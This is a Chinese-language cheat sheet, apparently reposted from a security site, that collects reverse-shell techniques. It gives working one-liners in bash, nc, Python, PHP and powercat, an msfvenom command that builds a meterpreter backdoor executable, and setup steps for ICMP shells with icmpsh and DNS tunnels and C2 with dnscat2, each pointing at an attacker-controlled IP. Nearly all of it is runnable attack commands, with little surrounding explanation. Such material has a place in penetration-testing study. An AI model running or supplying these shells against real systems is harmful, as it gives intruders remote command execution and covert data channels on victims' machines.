反弹shell总结
2020-12-13 16:44:40 Author: www.freebuf.com(查看原文) 阅读量:119 收藏

1.bash反弹

bash -i >& /dev/tcp/ip_address/port 0>&1

1607844790_5fd5c3b6b48f5df2e8bfb.png!small

2.nc反弹

nc -e /bin/sh 192.168.2.130 4444

1607844803_5fd5c3c34632acf8191c4.png!small

3.python

import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.2.130" , 4444 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])

1607844813_5fd5c3cd9a8f94a58a558.png!small

4.powercat

Import-Module .\powercat.ps1
powercat -c 192.168.2.130 -p 4444 -e cmd.exe

1607844823_5fd5c3d7b300f81dde08f.png!small

5.msf生成exe后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.130 LPORT=4444 -f exe > shell.exe

6.php反弹shell

php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

1607844846_5fd5c3eedc04df3b92b9d.png!small

1607844859_5fd5c3fb156016b2e7da8.png!small

7.ICMP

关闭icmp响应,不然shell一直跳,恢复是0

sysctl -w net.ipv4.icmp_echo_ignore_all=1

python icmpsh_m.py 源 目标
python icmpsh_m.py 192.168.2.137 192.168.2.135

在windows7运行:

icmpsh.exe -t 192.168.2.137

1607844897_5fd5c421a30b06b5eee65.png!small

1607844912_5fd5c43006a33d2596ad2.png!small

8.DNS

https://downloads.skullsecurity.org/dnscat2/

这里我们使用dnscat2,这里是下载的,分为windows和linux版本,服务端和客户端。

并且推荐使用vs2008编译

安装

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2
cd server
sudo gem install bundler
bundle install
sudo ruby ./dnscat2.rb

kali

ruby dnscat2.rb --dns host=0.0.0.0,port=53531
ruby dnscat2.rb --dns server=23.105.193.106,port=533,type=TXT --secret=123456(密钥)
ruby dnscat2.rb xxx.com

windows7中:

./dnscat --dns server=192.168.2.130,port=53531
./dnscat --dns server=192.168.2.130,port=53531 --secret=qwer1234(密钥)
./dnscat xxx.com

连接成功后

1607844927_5fd5c43feb3ef0a336b8f.png!small

1607844936_5fd5c4481e156a1bd197c.png!small

查看记录

1607844943_5fd5c44f336caf823327f.png!small

选择连接

1607844950_5fd5c456861801d08ea1f.png!small

使用shell

1607844958_5fd5c45e9bd493124c594.png!small

返回选择shell

14

执行命令

其他命令

quit (退出控制台)
kill <id> (中断通道)
set(设值,比如设置security=open)
windows(列举出所有的通道)
window -i <id>(连接某个通道)
连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):

clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell)
download/upload(两端之间上传下载文件)
supend(返回到上一层,等于快捷键ctrl+z)

DNS隧道转发

listen 127.0.0.1:6666 192.168.2.135:80
本机的6666就可以访问80端口

文章来源: https://www.freebuf.com/articles/database/257701.html
如有侵权请联系:admin#unsafe.sh